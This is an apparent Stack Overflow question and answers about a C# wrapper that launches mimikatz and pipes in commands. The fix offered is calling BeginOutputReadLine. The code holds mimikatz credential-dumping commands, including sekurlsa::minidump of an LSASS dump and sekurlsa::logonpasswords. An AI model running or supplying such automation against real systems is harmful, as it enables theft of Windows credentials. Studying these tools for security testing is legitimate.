0

I want to run and use mimikatz in c# and run some commands after last one finished but i dont see any output from mimikatz {No output is observed} Thanks & Regards

 Process cmd = new Process();
        string[] commands = new string[] { "sekurlsa::minidump lsass.DMP", "log", "sekurlsa::logonpasswords full","exit" };
        int c = 0;
        cmd.StartInfo.FileName = "D:\\Program\\Mimikatz\\x64\\mimikatz.exe";
        cmd.StartInfo.RedirectStandardInput = true;
        cmd.StartInfo.RedirectStandardOutput = true;
        cmd.StartInfo.CreateNoWindow = true;
        cmd.StartInfo.UseShellExecute = false;
        cmd.OutputDataReceived += (s, e) =>
        {
            Console.WriteLine(e.Data);
            if (e.Data== "mimikatz #")
            {
                cmd.StandardInput.WriteLine(commands[c++]);
            }
        };
        cmd.Start();
        cmd.StandardInput.WriteLine("privilege::debug");
        Console.ReadLine();
Johne
  • 11
  • 4
  • Does this answer your question? [ProcessInfo and RedirectStandardOutput](https://stackoverflow.com/questions/1145969/processinfo-and-redirectstandardoutput) – Cleptus May 18 '21 at 12:24

2 Answers2

0

If you call cmd.BeginOutputReadLine(); after cmd.Start() your OutputDataReceived method will be called.

dominik
  • 26
  • 2
  • 5
0

See Process.OutputDataReceived Event manuel, the code you provided miss a call to the BeginOutputReadLine method.

Orace
  • 7,822
  • 30
  • 45